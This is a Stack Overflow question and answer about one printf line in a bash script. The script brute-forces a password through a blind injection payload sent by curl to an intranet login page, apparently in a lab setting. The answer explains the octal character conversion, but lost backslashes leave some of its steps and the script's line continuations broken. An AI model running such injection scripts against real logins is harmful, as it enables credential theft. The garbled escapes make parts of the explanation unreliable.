I dont understant this line of bash script

Question

#!/bin/bash

HOST=172.31.179.1
PROXY=10.10.10.200:3128
USER=$1
PASS=""

PAYLOAD="'or substring(Password,POS,1)='BRUTE"

 for pos in $(seq 1 30); do
    for d in $(seq 33 126); do
        char=$(printf \$(printf "%o" "$d"))
        payload="${PAYLOAD/POS/$pos}"
        payload="${payload/BRUTE/$char}"
        result="$(curl -s 
                       -x $PROXY 
                       -d "Username=${USER}&Password=${payload}" 
                       http://$HOST/intranet.php)"
        if grep $USER <<<"$result" &>/dev/null; then
            PASS=${PASS}$char
            echo $PASS
            break
        fi
    done
done

echo "[+] User is $USER, Password is $PASS"

Hey everyone, This code finds the password with brute force but, i dont understand this line

char=$(printf \$(printf "%o" "$d"))

Can you help me please ?

question from:https://stackoverflow.com/questions/65863923/i-dont-understant-this-line-of-bash-script

Answer 1

It takes a decimal number, converts it into an octal representation, then interprets it as a character and store it into a variable.

More detailed description (see printf(1) man for better explanation):

• the inner printf "%o" "$d" prints an octal number based on a decimal number $d (e. g. if $d is 65, it prints 101)
• $() means command substition, i. e. instead of printing, the octal number (101) is going to be substituted into the shell command itself
• \ prepends a backslash to the number (e. g. 101) (double backslash must be used, as single backslash would have disabled command substitution $())
• after the first substitution, the whole command looks like so: char=$(printf 101)
• N is recognized as an escape sequence by printf and interpreted as an character with octal value of N, thus the outer printf prints this character, e. g. A (because octal value of A character in ASCII is 101)
• the outer $() then ensures that the resulting character is not printed, but substituted into shell command
• after the final substitution, the command looks like this: char=A

The reason why 2 conversions are needed for obtaining a character is obvious:

• character values are generated by seq in decimal representation
• printf does not accept numbers in decimal representation, instead octal representation has to be used